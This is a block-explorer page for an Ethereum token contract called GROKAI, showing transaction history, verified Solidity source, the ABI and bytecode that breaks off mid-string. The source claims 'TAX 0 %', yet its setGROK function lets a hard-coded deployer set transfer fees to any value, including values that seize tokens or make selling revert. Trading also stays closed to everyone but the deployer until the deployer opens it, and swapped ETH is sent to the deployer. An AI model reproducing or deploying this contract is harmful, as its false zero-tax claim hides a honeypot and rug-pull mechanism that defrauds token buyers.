ETH Price: $3,302.89 (-2.85%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer195826242024-04-04 13:13:35296 days ago1712236415IN
0x60C3Cc7d...F4C433792
0 ETH0.0015214426.14076802
Approve191357332024-02-01 19:42:23358 days ago1706816543IN
0x60C3Cc7d...F4C433792
0 ETH0.0019270541.20195062
Approve185715302023-11-14 17:07:11437 days ago1699981631IN
0x60C3Cc7d...F4C433792
0 ETH0.0023969751.24909201
Approve185421302023-11-10 14:26:11442 days ago1699626371IN
0x60C3Cc7d...F4C433792
0 ETH0.0010000340.44323997
Approve185421142023-11-10 14:22:59442 days ago1699626179IN
0x60C3Cc7d...F4C433792
0 ETH0.0008917536.13424245
Approve185382162023-11-10 1:18:47442 days ago1699579127IN
0x60C3Cc7d...F4C433792
0 ETH0.0017826937.95954869
Approve185381462023-11-10 1:04:47442 days ago1699578287IN
0x60C3Cc7d...F4C433792
0 ETH0.0018075938.64775635
Approve185380082023-11-10 0:36:47442 days ago1699576607IN
0x60C3Cc7d...F4C433792
0 ETH0.0017067236.50986003
Approve185376412023-11-09 23:22:47442 days ago1699572167IN
0x60C3Cc7d...F4C433792
0 ETH0.0012015444.93603507
Approve185376382023-11-09 23:22:11442 days ago1699572131IN
0x60C3Cc7d...F4C433792
0 ETH0.0011132545
Approve185376372023-11-09 23:21:59442 days ago1699572119IN
0x60C3Cc7d...F4C433792
0 ETH0.0011105545
Approve185376102023-11-09 23:16:35442 days ago1699571795IN
0x60C3Cc7d...F4C433792
0 ETH0.0012508742.24347031
Approve185375592023-11-09 23:06:23442 days ago1699571183IN
0x60C3Cc7d...F4C433792
0 ETH0.0011672143.5740532
Approve185375482023-11-09 23:04:11442 days ago1699571051IN
0x60C3Cc7d...F4C433792
0 ETH0.0022542248
Approve185375432023-11-09 23:03:11442 days ago1699570991IN
0x60C3Cc7d...F4C433792
0 ETH0.0011788344.00756806
Approve185375402023-11-09 23:02:35442 days ago1699570955IN
0x60C3Cc7d...F4C433792
0 ETH0.0025230454
Approve185375392023-11-09 23:02:23442 days ago1699570943IN
0x60C3Cc7d...F4C433792
0 ETH0.002209547.32600719
Approve185374202023-11-09 22:38:23442 days ago1699569503IN
0x60C3Cc7d...F4C433792
0 ETH0.0023948450.99422095
Approve185372522023-11-09 22:04:47442 days ago1699567487IN
0x60C3Cc7d...F4C433792
0 ETH0.0029501263.15690432
Approve185370442023-11-09 21:22:59442 days ago1699564979IN
0x60C3Cc7d...F4C433792
0 ETH0.0031852367.82433704
Approve185358362023-11-09 17:19:23442 days ago1699550363IN
0x60C3Cc7d...F4C433792
0 ETH0.0033673471.61056205
Approve185356972023-11-09 16:51:35442 days ago1699548695IN
0x60C3Cc7d...F4C433792
0 ETH0.00571769122.43730766
Approve185349122023-11-09 14:13:47443 days ago1699539227IN
0x60C3Cc7d...F4C433792
0 ETH0.0022561348.04064856
Approve185348122023-11-09 13:53:11443 days ago1699537991IN
0x60C3Cc7d...F4C433792
0 ETH0.0023273749.8250881
Approve185346382023-11-09 13:18:23443 days ago1699535903IN
0x60C3Cc7d...F4C433792
0 ETH0.0011778244.14814549
View all transactions

Latest 10 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
185383352023-11-10 1:42:35442 days ago1699580555
0x60C3Cc7d...F4C433792
0.36273739 ETH
185383352023-11-10 1:42:35442 days ago1699580555
0x60C3Cc7d...F4C433792
0.36273739 ETH
185381482023-11-10 1:05:11442 days ago1699578311
0x60C3Cc7d...F4C433792
0.39174482 ETH
185381482023-11-10 1:05:11442 days ago1699578311
0x60C3Cc7d...F4C433792
0.39174482 ETH
185345132023-11-09 12:53:23443 days ago1699534403
0x60C3Cc7d...F4C433792
0.25135362 ETH
185345132023-11-09 12:53:23443 days ago1699534403
0x60C3Cc7d...F4C433792
0.25135362 ETH
185336912023-11-09 10:08:35443 days ago1699524515
0x60C3Cc7d...F4C433792
0.14799674 ETH
185336912023-11-09 10:08:35443 days ago1699524515
0x60C3Cc7d...F4C433792
0.14799674 ETH
185331962023-11-09 8:28:59443 days ago1699518539
0x60C3Cc7d...F4C433792
0.14894155 ETH
185331962023-11-09 8:28:59443 days ago1699518539
0x60C3Cc7d...F4C433792
0.14894155 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
GROKAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license
/**
 *Submitted for verification at Etherscan.io on 2023-11-08
*/

/*

Smart Innovation Through GROK AI

TAX 0 %

Twitter: https://twitter.com/Grokaieth
Website: https://grokai.network/


*/
// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.20;

    interface IUniswapV2Router02 {
        function swapExactTokensForETHSupportingFeeOnTransferTokens(
            uint amountIn,
            uint amountOutMin,
            address[] calldata path,
            address to,
            uint deadline
            ) external;
        }
        
    contract GROKAI {
        string public constant name = "GROKAI";  //
        string public constant symbol = "GROKAI";  //
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1000_000_000 * 10**decimals;

        uint256 BurnAmount = 0;
        uint256 ConfirmAmount = 0;
        uint256 constant swapAmount = totalSupply / 100;

        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
            
        error Permissions();
            
        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
            

        address private pair;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable constant deployer = payable(address(0x1b51a192bb49238845B9c31b8F60AF06aB15F248)); //

        bool private swapping;
        bool private tradingOpen;

        constructor() {
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
        }

         receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool){
            require(tradingOpen || from == deployer || to == deployer);

            if(!tradingOpen && pair == address(0) && amount > 0)
                pair = to;

            balanceOf[from] -= amount;

            if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount){
                swapping = true;
                address[] memory path = new  address[](2);
                path[0] = address(this);
                path[1] = ETH;
                _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                    );
                deployer.transfer(address(this).balance);
                swapping = false;
                }

            if(from != address(this)){
                uint256 FinalAmount = amount * (from == pair ? BurnAmount : ConfirmAmount) / 100;
                amount -= FinalAmount;
                balanceOf[address(this)] += FinalAmount;
            }
                balanceOf[to] += amount;
                emit Transfer(from, to, amount);
                return true;
            }

        function openTrading() external {
            require(msg.sender == deployer);
            require(!tradingOpen);
            tradingOpen = true;        
            }

        function setGROK(uint256 newBurn, uint256 newConfirm) external {
            require(msg.sender == deployer);
            BurnAmount = newBurn;
            ConfirmAmount = newConfirm;
            }
        }

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newBurn","type":"uint256"},{"internalType":"uint256","name":"newConfirm","type":"uint256"}],"name":"setGROK","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f80555f60015534801562000017575f80fd5b506012600a6200002891906200034a565b633b9aca006200003991906200039a565b60025f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a6200018a91906200034a565b633b9aca006200019b91906200039a565b604051620001aa9190620003f5565b60405180910390a362000410565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111562000242578086048111156200021a5762000219620001b8565b5b60018516156200022a5780820291505b80810290506200023a85620001e5565b9450620001fa565b94509492505050565b5f826200025c57600190506200032e565b816200026b575f90506200032e565b81600181146200028457600281146200028f57620002c5565b60019150506200032e565b60ff841115620002a457620002a3620001b8565b5b8360020a915084821115620002be57620002bd620001b8565b5b506200032e565b5060208310610133831016604e8410600b8410161715620002ff5782820a905083811115620002f957620002f8620001b8565b5b6200032e565b6200030e8484846001620001f1565b92509050818404811115620003285762000327620001b8565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620003568262000335565b915062000363836200033e565b9250620003927fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200024b565b905092915050565b5f620003a68262000335565b9150620003b38362000335565b9250828202620003c38162000335565b91508282048414831517620003dd57620003dc620001b8565b5b5092915050565b620003ef8162000335565b82525050565b5f6020820190506200040a5f830184620003e4565b92915050565b611444806200041e5f395ff3fe60806040526004361061009f575f3560e01c806370a082311161006357806370a08231146101a05780638f65d6b7146101dc57806395d89b4114610204578063a9059cbb1461022e578063c9567bf91461026a578063dd62ed3e14610280576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce56714610176576100a6565b366100a657005b5f80fd5b3480156100b5575f80fd5b506100be6102bc565b6040516100cb9190610d35565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f59190610de6565b6102f5565b6040516101079190610e3e565b60405180910390f35b34801561011b575f80fd5b506101246103e2565b6040516101319190610e66565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b9190610e7f565b610402565b60405161016d9190610e3e565b60405180910390f35b348015610181575f80fd5b5061018a6104a5565b6040516101979190610eea565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190610f03565b6104aa565b6040516101d39190610e66565b60405180910390f35b3480156101e7575f80fd5b5061020260048036038101906101fd9190610f2e565b6104bf565b005b34801561020f575f80fd5b5061021861051b565b6040516102259190610d35565b60405180910390f35b348015610239575f80fd5b50610254600480360381019061024f9190610de6565b610554565b6040516102619190610e3e565b60405180910390f35b348015610275575f80fd5b5061027e610568565b005b34801561028b575f80fd5b506102a660048036038101906102a19190610f6c565b6105e9565b6040516102b39190610e66565b60405180910390f35b6040518060400160405280600681526020017f47524f4b4149000000000000000000000000000000000000000000000000000081525081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d09190610e66565b60405180910390a36001905092915050565b6012600a6103f09190611106565b633b9aca006103ff9190611150565b81565b5f8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461048a9190611191565b9250508190555061049c848484610609565b90509392505050565b601281565b6002602052805f5260405f205f915090505481565b731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461050a575f80fd5b815f81905550806001819055505050565b6040518060400160405280600681526020017f47524f4b4149000000000000000000000000000000000000000000000000000081525081565b5f610560338484610609565b905092915050565b731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105b3575f80fd5b600460159054906101000a900460ff16156105cc575f80fd5b6001600460156101000a81548160ff021916908315150217905550565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f600460159054906101000a900460ff16806106645750731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806106ae5750731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6106b6575f80fd5b600460159054906101000a900460ff1615801561071f57505f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561072a57505f82115b15610770578260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107bc9190611191565b9250508190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561082c5750600460149054906101000a900460ff16155b801561089d575060646012600a6108439190611106565b633b9aca006108529190611150565b61085c91906111f1565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610ad9576001600460146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156108d9576108d8611221565b5b6040519080825280602002602001820160405280156109075781602001602082028036833780820191505090505b50905030815f8151811061091e5761091d61124e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106109815761098061124e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94760646012600a6109fb9190611106565b633b9aca00610a0a9190611150565b610a1491906111f1565b5f8430426040518663ffffffff1660e01b8152600401610a38959493929190611383565b5f604051808303815f87803b158015610a4f575f80fd5b505af1158015610a61573d5f803e3d5ffd5b50505050731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610abc573d5f803e3d5ffd5b505f600460146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610be8575f606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610b6b57600154610b6e565b5f545b84610b799190611150565b610b8391906111f1565b90508083610b919190611191565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bdf91906113db565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c3491906113db565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c989190610e66565b60405180910390a3600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ce2578082015181840152602081019050610cc7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d0782610cab565b610d118185610cb5565b9350610d21818560208601610cc5565b610d2a81610ced565b840191505092915050565b5f6020820190508181035f830152610d4d8184610cfd565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d8282610d59565b9050919050565b610d9281610d78565b8114610d9c575f80fd5b50565b5f81359050610dad81610d89565b92915050565b5f819050919050565b610dc581610db3565b8114610dcf575f80fd5b50565b5f81359050610de081610dbc565b92915050565b5f8060408385031215610dfc57610dfb610d55565b5b5f610e0985828601610d9f565b9250506020610e1a85828601610dd2565b9150509250929050565b5f8115159050919050565b610e3881610e24565b82525050565b5f602082019050610e515f830184610e2f565b92915050565b610e6081610db3565b82525050565b5f602082019050610e795f830184610e57565b92915050565b5f805f60608486031215610e9657610e95610d55565b5b5f610ea386828701610d9f565b9350506020610eb486828701610d9f565b9250506040610ec586828701610dd2565b9150509250925092565b5f60ff82169050919050565b610ee481610ecf565b82525050565b5f602082019050610efd5f830184610edb565b92915050565b5f60208284031215610f1857610f17610d55565b5b5f610f2584828501610d9f565b91505092915050565b5f8060408385031215610f4457610f43610d55565b5b5f610f5185828601610dd2565b9250506020610f6285828601610dd2565b9150509250929050565b5f8060408385031215610f8257610f81610d55565b5b5f610f8f85828601610d9f565b9250506020610fa085828601610d9f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561102c5780860481111561100857611007610faa565b5b60018516156110175780820291505b808102905061102585610fd7565b9450610fec565b94509492505050565b5f8261104457600190506110ff565b81611051575f90506110ff565b81600181146110675760028114611071576110a0565b60019150506110ff565b60ff84111561108357611082610faa565b5b8360020a91508482111561109a57611099610faa565b5b506110ff565b5060208310610133831016604e8410600b84101617156110d55782820a9050838111156110d0576110cf610faa565b5b6110ff565b6110e28484846001610fe3565b925090508184048111156110f9576110f8610faa565b5b81810290505b9392505050565b5f61111082610db3565b915061111b83610ecf565b92506111487fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611035565b905092915050565b5f61115a82610db3565b915061116583610db3565b925082820261117381610db3565b9150828204841483151761118a57611189610faa565b5b5092915050565b5f61119b82610db3565b91506111a683610db3565b92508282039050818111156111be576111bd610faa565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6111fb82610db3565b915061120683610db3565b925082611216576112156111c4565b5b828204905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f6112a76112a261129d8461127b565b611284565b610db3565b9050919050565b6112b78161128d565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6112ef81610d78565b82525050565b5f61130083836112e6565b60208301905092915050565b5f602082019050919050565b5f611322826112bd565b61132c81856112c7565b9350611337836112d7565b805f5b8381101561136757815161134e88826112f5565b97506113598361130c565b92505060018101905061133a565b5085935050505092915050565b61137d81610d78565b82525050565b5f60a0820190506113965f830188610e57565b6113a360208301876112ae565b81810360408301526113b58186611318565b90506113c46060830185611374565b6113d16080830184610e57565b9695505050505050565b5f6113e582610db3565b91506113f083610db3565b925082820190508082111561140857611407610faa565b5b9291505056fea2646970667358221220fc565a067bb4526ab695822273b3dfce465d8f89c9915e0985ef160641bdb1f264736f6c63430008140033

Deployed Bytecode

0x60806040526004361061009f575f3560e01c806370a082311161006357806370a08231146101a05780638f65d6b7146101dc57806395d89b4114610204578063a9059cbb1461022e578063c9567bf91461026a578063dd62ed3e14610280576100a6565b806306fdde03146100aa578063095ea7b3146100d457806318160ddd1461011057806323b872dd1461013a578063313ce56714610176576100a6565b366100a657005b5f80fd5b3480156100b5575f80fd5b506100be6102bc565b6040516100cb9190610d35565b60405180910390f35b3480156100df575f80fd5b506100fa60048036038101906100f59190610de6565b6102f5565b6040516101079190610e3e565b60405180910390f35b34801561011b575f80fd5b506101246103e2565b6040516101319190610e66565b60405180910390f35b348015610145575f80fd5b50610160600480360381019061015b9190610e7f565b610402565b60405161016d9190610e3e565b60405180910390f35b348015610181575f80fd5b5061018a6104a5565b6040516101979190610eea565b60405180910390f35b3480156101ab575f80fd5b506101c660048036038101906101c19190610f03565b6104aa565b6040516101d39190610e66565b60405180910390f35b3480156101e7575f80fd5b5061020260048036038101906101fd9190610f2e565b6104bf565b005b34801561020f575f80fd5b5061021861051b565b6040516102259190610d35565b60405180910390f35b348015610239575f80fd5b50610254600480360381019061024f9190610de6565b610554565b6040516102619190610e3e565b60405180910390f35b348015610275575f80fd5b5061027e610568565b005b34801561028b575f80fd5b506102a660048036038101906102a19190610f6c565b6105e9565b6040516102b39190610e66565b60405180910390f35b6040518060400160405280600681526020017f47524f4b4149000000000000000000000000000000000000000000000000000081525081565b5f8160035f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103d09190610e66565b60405180910390a36001905092915050565b6012600a6103f09190611106565b633b9aca006103ff9190611150565b81565b5f8160035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461048a9190611191565b9250508190555061049c848484610609565b90509392505050565b601281565b6002602052805f5260405f205f915090505481565b731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461050a575f80fd5b815f81905550806001819055505050565b6040518060400160405280600681526020017f47524f4b4149000000000000000000000000000000000000000000000000000081525081565b5f610560338484610609565b905092915050565b731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146105b3575f80fd5b600460159054906101000a900460ff16156105cc575f80fd5b6001600460156101000a81548160ff021916908315150217905550565b6003602052815f5260405f20602052805f5260405f205f91509150505481565b5f600460159054906101000a900460ff16806106645750731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806106ae5750731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6106b6575f80fd5b600460159054906101000a900460ff1615801561071f57505f73ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b801561072a57505f82115b15610770578260045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b8160025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107bc9190611191565b9250508190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561082c5750600460149054906101000a900460ff16155b801561089d575060646012600a6108439190611106565b633b9aca006108529190611150565b61085c91906111f1565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410155b15610ad9576001600460146101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156108d9576108d8611221565b5b6040519080825280602002602001820160405280156109075781602001602082028036833780820191505090505b50905030815f8151811061091e5761091d61124e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2816001815181106109815761098061124e565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94760646012600a6109fb9190611106565b633b9aca00610a0a9190611150565b610a1491906111f1565b5f8430426040518663ffffffff1660e01b8152600401610a38959493929190611383565b5f604051808303815f87803b158015610a4f575f80fd5b505af1158015610a61573d5f803e3d5ffd5b50505050731b51a192bb49238845b9c31b8f60af06ab15f24873ffffffffffffffffffffffffffffffffffffffff166108fc4790811502906040515f60405180830381858888f19350505050158015610abc573d5f803e3d5ffd5b505f600460146101000a81548160ff021916908315150217905550505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614610be8575f606460045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614610b6b57600154610b6e565b5f545b84610b799190611150565b610b8391906111f1565b90508083610b919190611191565b92508060025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610bdf91906113db565b92505081905550505b8160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610c3491906113db565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610c989190610e66565b60405180910390a3600190509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610ce2578082015181840152602081019050610cc7565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d0782610cab565b610d118185610cb5565b9350610d21818560208601610cc5565b610d2a81610ced565b840191505092915050565b5f6020820190508181035f830152610d4d8184610cfd565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610d8282610d59565b9050919050565b610d9281610d78565b8114610d9c575f80fd5b50565b5f81359050610dad81610d89565b92915050565b5f819050919050565b610dc581610db3565b8114610dcf575f80fd5b50565b5f81359050610de081610dbc565b92915050565b5f8060408385031215610dfc57610dfb610d55565b5b5f610e0985828601610d9f565b9250506020610e1a85828601610dd2565b9150509250929050565b5f8115159050919050565b610e3881610e24565b82525050565b5f602082019050610e515f830184610e2f565b92915050565b610e6081610db3565b82525050565b5f602082019050610e795f830184610e57565b92915050565b5f805f60608486031215610e9657610e95610d55565b5b5f610ea386828701610d9f565b9350506020610eb486828701610d9f565b9250506040610ec586828701610dd2565b9150509250925092565b5f60ff82169050919050565b610ee481610ecf565b82525050565b5f602082019050610efd5f830184610edb565b92915050565b5f60208284031215610f1857610f17610d55565b5b5f610f2584828501610d9f565b91505092915050565b5f8060408385031215610f4457610f43610d55565b5b5f610f5185828601610dd2565b9250506020610f6285828601610dd2565b9150509250929050565b5f8060408385031215610f8257610f81610d55565b5b5f610f8f85828601610d9f565b9250506020610fa085828601610d9f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561102c5780860481111561100857611007610faa565b5b60018516156110175780820291505b808102905061102585610fd7565b9450610fec565b94509492505050565b5f8261104457600190506110ff565b81611051575f90506110ff565b81600181146110675760028114611071576110a0565b60019150506110ff565b60ff8411156110835761